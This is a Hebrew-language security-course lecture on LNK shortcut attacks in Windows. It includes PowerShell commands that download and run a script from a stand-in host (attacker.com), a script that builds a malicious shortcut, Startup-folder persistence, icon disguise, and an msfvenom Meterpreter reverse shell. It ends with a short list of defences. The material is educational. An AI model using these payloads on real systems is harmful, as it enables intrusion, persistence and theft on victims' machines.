לדלג לתוכן

5.5 תקיפת LNK File Attack הרצאה

תקיפת LNK File Attack

קובצי LNK (קיצור דרך ב-Windows) הם קבצים שנוצרו כדי להפנות לקבצים או תוכניות אחרות, אך ניתן לנצל אותם לתקיפה על ידי החדרת פקודות זדוניות שיבוצעו אוטומטית כאשר המשתמש פותח את הקובץ. התקפה זו מאפשרת הרצת קוד מרחוק (RCE), גניבת creds וטעינת נוזקות ללא צורך בהרשאות ניהול.

הבנת הפגיעות

בדרך כלל, קובץ LNK מפנה לתוכנית לגיטימית, אך ניתן לשנות את היעד כך שיפעיל פקודה זדונית.
התקיפה פועלת כך:

  1. התוקף יוצר קובץ shortcut.lnk שבו מוגדר Payload זדוני.

  2. כאשר המשתמש פותח את הקובץ, הפקודה רצה ברקע מבלי שהמשתמש יחשוד.

  3. ניתן לנצל זאת כדי להריץ PowerShell, לגנוב NTLM Hashes או להתחבר לשרת של התוקף.

דוגמה לתוכן LNK זדוני:

C:\Windows\System32\cmd.exe /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"

הפקודה למטה מורידה קובץ powershell מאתר של התוקף ומריצה אותו.


בניית LNK זדוני עם PowerShell

ניתן ליצור קובץ LNK זדוני בעזרת PowerShell:

$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\Public\Documents\malicious.lnk")
$Shortcut.TargetPath = "C:\Windows\System32\cmd.exe"
$Shortcut.Arguments = "/c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command `"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/rev.ps1')`""
$Shortcut.Save()

הדבקת LNK במקום אסטרטגי

לאחר יצירת קובץ ה-LNK, ניתן למקם אותו באחד הנתיבים הבאים כדי להבטיח הפעלה אוטומטית:

  • בStartup Folder – קובץ זדוני שיפעל עם הפעלת המחשב.

    C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
    
  • בUSB Devices – יצירת LNK בכונן USB, כך שכאשר הקורבן יפתח את הקובץ, הקוד ירוץ.

  • בNetwork Shares – יצירת LNK בכונן משותף.

  • משחקי Social Engineering – שינוי האייקון של הקובץ כך שייראה כמו קובץ תמונה, PDF או תיקייה.


הרצת Meterpreter דרך LNK

ניתן להשתמש ב-Metasploit כדי ליצור LNK שמריץ Meterpreter:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Attacker-IP> LPORT=4444 -f exe > shell.exe

כעת ניצור LNK שמריץ את הקובץ:

$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\Public\Documents\malicious.lnk")
$Shortcut.TargetPath = "C:\Windows\System32\cmd.exe"
$Shortcut.Arguments = "/c start C:\Users\Public\Documents\shell.exe"
$Shortcut.Save()

לאחר שהמשתמש יפתח את קובץ ה-LNK, התוקף יקבל Meterpreter Shell.


מניעת תקיפות LNK

  1. הגבלת הפעלת קובצי LNK ממקורות לא מוכרים.

  2. ביטול SMBv1 וחסימת בקשות חוץ ארגוניות.

  3. הגדרת Group Policy לחסימת שימוש ב-Shortcut Files מסוימים.

  4. השתמש ב-Windows Defender ו-EDR כדי לזהות ניסיונות להריץ קובצי LNK זדוניים.